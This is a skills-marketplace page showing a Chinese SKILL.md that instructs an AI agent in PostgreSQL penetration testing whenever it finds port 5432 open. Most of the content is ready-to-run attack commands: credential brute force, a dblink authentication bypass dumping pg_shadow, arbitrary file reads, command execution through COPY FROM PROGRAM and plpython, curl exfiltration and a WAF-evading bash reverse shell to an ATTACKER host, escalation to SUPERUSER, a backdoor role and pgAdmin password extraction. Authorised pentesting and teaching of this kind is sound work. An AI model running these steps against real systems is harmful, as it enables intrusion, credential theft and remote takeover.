Skip to main content

postgresql-pentesting

PostgreSQL 数据库服务(5432 端口)渗透测试方法论。涵盖 PostgreSQL 服务发现、默认凭据测试、数据库枚举、文件读写(COPY/lo_import)、命令执行(RCE via UDF/扩展)、权限提升、已知漏洞利用。 当 Agent 扫描发现 5432 端口开放、需要测试 PostgreSQL 认证、通过数据库实现文件读写或命令执行时,触发此 Skill。

ソース情報

リポジトリ
wgpsec/AboutSecurity
ソースの最終更新活動
2026年10月15日 06:58
検出された SKILL.md の言語
中国語
スター
1,807
フォーク
250

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
2 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
postgresql-pentesting
description
PostgreSQL 数据库服务(5432 端口)渗透测试方法论。涵盖 PostgreSQL 服务发现、默认凭据测试、数据库枚举、文件读写(COPY/lo_import)、命令执行(RCE via UDF/扩展)、权限提升、已知漏洞利用。 当 Agent 扫描发现 5432 端口开放、需要测试 PostgreSQL 认证、通过数据库实现文件读写或命令执行时,触发此 Skill。
metadata
{"tags":"postgresql,postgres,数据库,5432端口,rce,文件读写,copy命令","category":"exploit"}
# PostgreSQL 渗透测试方法论 (5432) ## 深入参考 - PostgreSQL 文件读写、RCE、权限提升技术细节 -> 读 [references/postgresql-techniques.md](references/postgresql-techniques.md) --- ## 整体决策树 ``` 发现 5432/5433 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ 确定 PostgreSQL 版本 │ ├─ 判断运行环境 (本地 / AWS RDS / GCP Cloud SQL / Supabase) │ └─ 识别监听地址与认证策略 (pg_hba.conf) ├─ Phase 2: 认证测试 │ ├─ 默认凭据 (postgres:postgres / postgres:空) │ ├─ 空密码测试 │ ├─ 密码喷洒 / 暴力破解 │ └─ trust 认证利用 (本地 / peer) ├─ Phase 3: 数据库枚举 │ ├─ 用户与角色 (superuser / CREATEROLE / 特权组) │ ├─ 数据库 / Schema / 表 │ ├─ 敏感数据 (pg_shadow / pg_authid) │ └─ 已安装扩展与可用语言 ├─ Phase 4: 文件读写 │ ├─ COPY FROM — 读取文件到表 │ ├─ pg_read_file / pg_read_binary_file — 直接读 │ ├─ COPY TO — 写文件 │ ├─ lo_import / lo_export — 大对象读写 (二进制安全) │ └─ 覆盖 filenode — 修改表数据 (无 UPDATE 权限) ├─ Phase 5: 命令执行 (RCE) │ ├─ COPY FROM PROGRAM — 直接命令执行 │ ├─ UDF / PL 语言 — plpython / plperl / plsh │ ├─ 恶意扩展加载 (.so) │ └─ 配置文件 RCE (ssl_passphrase_command / archive_command / preload_libraries) ├─ Phase 6: 权限提升 │ ├─ CREATEROLE -> 特权组 (pg_execute_server_program 等) │ ├─ 本地 trust 认证 -> SUPERUSER │ ├─ ALTER TABLE + 索引函数提权 (GCP) │ ├─ SECURITY DEFINER 函数滥用 │ └─ 覆盖 pg_authid filenode -> SUPERUSER └─ Phase 7: 已知漏洞与后渗透 ├─ CVE-2019-9193 (COPY FROM PROGRAM, 官方声明为特性) ├─ Metasploit 模块 ├─ pgAdmin 密码提取 └─ 日志与配置审计 ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 端口与服务探测 ```bash # Nmap 服务版本探测 nmap -sV -sC -p 5432,5433 <IP> # Metasploit 版本扫描 msf> use auxiliary/scanner/postgres/postgres_version ``` ### 1.2 环境判断 ``` 识别运行环境 ├─ 发现 rdsadmin 数据库 -> AWS RDS 托管实例 ├─ 发现 cloudsqladmin 用户 -> GCP Cloud SQL ├─ 发现 supabase_admin 用户 -> Supabase 托管 └─ 标准安装 -> 检查 pg_hba.conf / listen_addresses ``` ```sql -- 版本信息 SELECT version(); -- 当前用户与数据库 SELECT user, current_database(); -- 检查是否 superuser SELECT current_setting('is_superuser'); -- 数据目录 SHOW data_directory; ``` ### 1.3 本地环境审计 (已有 Shell) ```bash # 查找配置文件 find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null # 检查认证策略中的 trust/peer 规则 rg -n "^(host|local)|trust|peer|md5|scram|password" /etc/postgresql 2>/dev/null # 检查 socket 和 .pgpass ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null ``` **关键判断**: - `trust` 规则 -> 无密码认证,直接连接 - `peer` 规则 -> 切换到 postgres OS 用户后连接 - `.pgpass` 存在 -> 可能包含明文凭据 --- ## Phase 2: 认证测试 ### 2.1 连接方式 ```bash # 本地连接 psql -U postgres # 远程连接 psql -h <IP> -U <user> -d <database> psql -h <IP> -p 5432 -U <user> -W <password> <database> ``` ### 2.2 凭据测试决策树 ``` 尝试连接 PostgreSQL ├─ 1) 默认凭据 │ ├─ postgres:postgres │ ├─ postgres:(空) │ └─ admin:admin ├─ 2) trust 认证 (本地) │ ├─ sudo -u postgres psql │ └─ psql -h 127.0.0.1 -U postgres ├─ 3) 密码喷洒 │ ├─ hydra -t 4 -l postgres -P wordlist.txt <IP> postgres │ └─ msf> use auxiliary/scanner/postgres/postgres_login ├─ 4) dblink 本地认证绕过 │ └─ 通过 dblink 连接 127.0.0.1 利用 trust 规则 └─ 5) PL/pgSQL 密码爆破 └─ -> 读 references/postgresql-techniques.md #密码爆破 ``` ### 2.3 dblink 本地认证绕过 ```sql -- 检查 dblink 是否可用 SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; -- 不存在则尝试创建 CREATE EXTENSION dblink; -- 通过本地 trust 规则认证 SELECT * FROM dblink('host=127.0.0.1 port=5432 user=postgres password=anything dbname=postgres', 'SELECT usename, passwd FROM pg_shadow') RETURNS (usename TEXT, passwd TEXT); ``` --- ## Phase 3: 数据库枚举 ### 3.1 基础信息收集 ```sql -- 列出数据库 \list SELECT datname FROM pg_database; -- 切换数据库 \c <database> -- 列出表 \d SELECT schemaname, tablename, tableowner FROM pg_tables; -- 列出 Schema SELECT schema_name, schema_owner FROM information_schema.schemata; \dn+ ``` ### 3.2 用户与权限枚举 ```sql -- 用户与角色 \du+ SELECT usename, passwd FROM pg_shadow; -- 详细角色信息 (含组成员关系) SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof, r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; -- 表权限 SELECT grantee, table_schema, table_name, privilege_type FROM information_schema.role_table_grants; ``` ### 3.3 关键特权组 ``` 特权组检查 ├─ pg_execute_server_program -> 可执行系统命令 ├─ pg_read_server_files -> 可读任意文件 ├─ pg_write_server_files -> 可写任意文件 └─ 成员关系确认: \du+ 或查询 pg_auth_members ``` ### 3.4 扩展与语言 ```sql -- 已安装扩展 SELECT * FROM pg_extension; SHOW rds.extensions; -- AWS RDS -- 可用语言 (PL/Python / PL/Perl 可用于 RCE) SELECT lanname, lanacl FROM pg_language; -- 可用函数 \df pg_catalog.* SELECT * FROM pg_proc WHERE proname LIKE 'pg_read%'; ``` --- ## Phase 4: 文件读写 ### 4.1 文件读取决策树 ``` 文件读取路径 ├─ superuser 或 pg_read_server_files 成员 │ ├─ COPY 读取 │ │ ├─ CREATE TABLE t(c text); │ │ ├─ COPY t FROM '/etc/passwd'; │ │ └─ SELECT * FROM t; │ ├─ pg_read_file() │ │ └─ SELECT pg_read_file('/etc/passwd', 0, 1000000); │ ├─ pg_read_binary_file() │ │ └─ SELECT pg_read_binary_file('/etc/passwd'); │ └─ pg_ls_dir() — 列目录 │ └─ SELECT * FROM pg_ls_dir('/tmp'); ├─ CREATEROLE 权限 │ ├─ GRANT pg_read_server_files TO <user>; │ └─ 回到上方 superuser 路径 └─ lo_import() — 大对象导入 ├─ SELECT lo_import('/etc/passwd', 13337); └─ SELECT encode(lo_get(13337), 'escape'); ``` **注意**: 使用 `pg_read_file` / `pg_ls_dir` 前需切换到 postgres 数据库 (`\c postgres`),否则可能报权限错误。 ### 4.2 文件写入决策树 ``` 文件写入路径 ├─ superuser 或 pg_write_server_files 成员 │ ├─ COPY TO — 文本写入 │ │ └─ COPY (SELECT convert_from(decode('<B64>','base64'),'utf-8')) TO '/path/file'; │ │ 注意: 不支持换行符,必须单行 base64; 不能写二进制 │ └─ lo_export() — 二进制安全写入 │ ├─ SELECT lo_from_bytea(13338, decode('<B64>','base64')); │ └─ SELECT lo_export(13338, '/path/file'); ├─ CREATEROLE 权限 │ ├─ GRANT pg_write_server_files TO <user>; │ └─ 回到上方 superuser 路径 └─ 覆盖 filenode — 无 UPDATE 时修改表数据 └─ -> 读 references/postgresql-techniques.md #filenode覆盖 ``` --- ## Phase 5: 命令执行 (RCE) ### 5.1 RCE 路径决策树 ``` 命令执行路径 ├─ 方法 A: COPY FROM PROGRAM (PostgreSQL >= 9.3) │ ├─ 需要: superuser 或 pg_execute_server_program 成员 │ ├─ 直接执行 │ │ ├─ CREATE TABLE cmd_exec(cmd_output text); │ │ ├─ COPY cmd_exec FROM PROGRAM 'id'; │ │ └─ SELECT * FROM cmd_exec; │ └─ 反弹 Shell │ └─ COPY t FROM PROGRAM 'perl -MIO -e ''...reverse shell...'''; ├─ 方法 B: PL 语言 (需要已安装) │ ├─ PL/Python (plpython3u) │ │ └─ CREATE FUNCTION cmd(c text) RETURNS text AS $$ import os; return os.popen(c).read() $$ LANGUAGE plpython3u; │ ├─ PL/Perl (plperlu) │ └─ PL/sh │ └─ -> 读 references/postgresql-techniques.md #PL语言RCE ├─ 方法 C: 恶意扩展 (.so) │ ├─ 编译恶意 .so (需匹配 PG 版本) │ ├─ 通过 lo_export 上传到服务器 │ └─ CREATE EXTENSION 或 LOAD 加载 │ └─ -> 读 references/postgresql-techniques.md #恶意扩展 ├─ 方法 D: 配置文件 RCE │ ├─ ssl_passphrase_command -> 加密私钥 + pg_reload_conf() │ ├─ archive_command -> WAL 触发命令执行 │ └─ session_preload_libraries -> 预加载恶意 .so │ └─ -> 读 references/postgresql-techniques.md #配置文件RCE └─ WAF 绕过: 使用 DO $$ + CHR() 构造 COPY PROGRAM └─ DO $$ DECLARE cmd text; BEGIN cmd := CHR(67)||'OPY...'; EXECUTE cmd; END $$; ``` ### 5.2 COPY FROM PROGRAM 快速参考 ```sql -- 基础命令执行 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; -- 数据外带 COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?f=`ls -l|base64`'; -- Metasploit msf> use multi/postgres/postgres_copy_from_program_cmd_exec ``` ### 5.3 WAF 绕过 (SQLi 上下文) ```sql -- 使用 CHR() 避免 COPY 关键字被过滤 DO $$ DECLARE cmd text; BEGIN cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"'''; EXECUTE cmd; END $$; ``` --- ## Phase 6: 权限提升 ### 6.1 提权路径决策树 ``` 权限提升路径 ├─ 已有 CREATEROLE │ ├─ GRANT pg_execute_server_program TO <user>; -> RCE │ ├─ GRANT pg_read_server_files TO <user>; -> 文件读 │ ├─ GRANT pg_write_server_files TO <user>; -> 文件写 │ └─ ALTER USER <other> WITH PASSWORD 'new'; -> 修改他人密码 ├─ 已有 RCE (pg_execute_server_program) │ └─ 本地 trust 认证 -> 提升 SUPERUSER │ └─ COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <you> WITH SUPERUSER;"'; ├─ 已有文件读写 │ ├─ 覆盖 pg_authid filenode -> 设置 rol* 标志位 = 1 │ │ ├─ 获取 data_directory │ │ ├─ SELECT pg_relation_filepath('pg_authid'); │ │ ├─ lo_import / lo_export 下载并编辑 filenode │ │ └─ -> 读 references/postgresql-techniques.md #filenode提权 │ └─ 覆盖 postgresql.conf -> 配置文件 RCE ├─ ALTER TABLE 提权 (GCP Cloud SQL) │ ├─ 创建带恶意索引函数的表 │ ├─ ALTER TABLE owner TO cloudsqladmin │ └─ ANALYZE 触发函数以 owner 权限执行 │ └─ -> 读 references/postgresql-techniques.md #ALTER_TABLE提权 ├─ SECURITY DEFINER 函数滥用 │ ├─ 搜索存在 SQL 注入的 SECURITY DEFINER 函数 │ └─ 注入提权 SQL └─ 事件触发器提权 (Supabase) ├─ 创建 ddl_command_start/end 事件触发器 ├─ DROP/CREATE EXTENSION postgres_fdw 触发 superuser 窗口 └─ 触发器在 superuser 上下文中创建后门角色 └─ -> 读 references/postgresql-techniques.md #事件触发器提权 ``` ### 6.2 CREATEROLE 快速提权 ```sql -- 授予特权组成员资格 GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; -- 创建新角色并加入特权组 CREATE ROLE pwn LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files; -- 修改其他非 superuser 用户密码 ALTER USER target_user WITH PASSWORD 'new_password'; ``` ### 6.3 本地 trust 认证提升到 SUPERUSER ```sql -- 前提: 拥有 COPY FROM PROGRAM 权限 + pg_hba.conf 中 local/127.0.0.1 为 trust COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"'; ``` --- ## Phase 7: 已知漏洞与后渗透 ### 7.1 Metasploit 模块 ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_login msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload msf> use multi/postgres/postgres_copy_from_program_cmd_exec ``` ### 7.2 dblink 端口扫描 ```sql -- 利用 dblink 错误信息判断端口状态 SELECT * FROM dblink_connect('host=TARGET port=PORT user=x password=x dbname=x connect_timeout=10'); -- Host is down: "No route to host" -- Port closed: "Connection refused" -- Port open: "server closed the connection unexpectedly" 或 "password authentication failed" -- Port filtered: "Connection timed out" ``` ### 7.3 pgAdmin 密码提取 ```bash # 读取 pgAdmin 数据库 sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" # 密码可用 pgadmin4 crypto.py 中的 decrypt 函数解密 ``` ### 7.4 日志配置审计 ```bash # 启用详细日志 (postgresql.conf) log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on # 日志路径: /var/lib/postgresql/<VERSION>/main/log/ ``` ### 7.5 pg_hba.conf 审计要点 | 配置 | 风险说明 | |------|---------| | `local all all trust` | 本地用户无密码访问所有数据库 | | `host all all 0.0.0.0/0 trust` | 任意远程无密码访问 (严重) | | `host all all 127.0.0.1/32 trust` | 本地回环无密码访问 | | `peer` 映射 | OS 用户直接映射 DB 角色 | | `md5` / `password` | md5 可被中间人,password 明文传输 |
GitHubで見る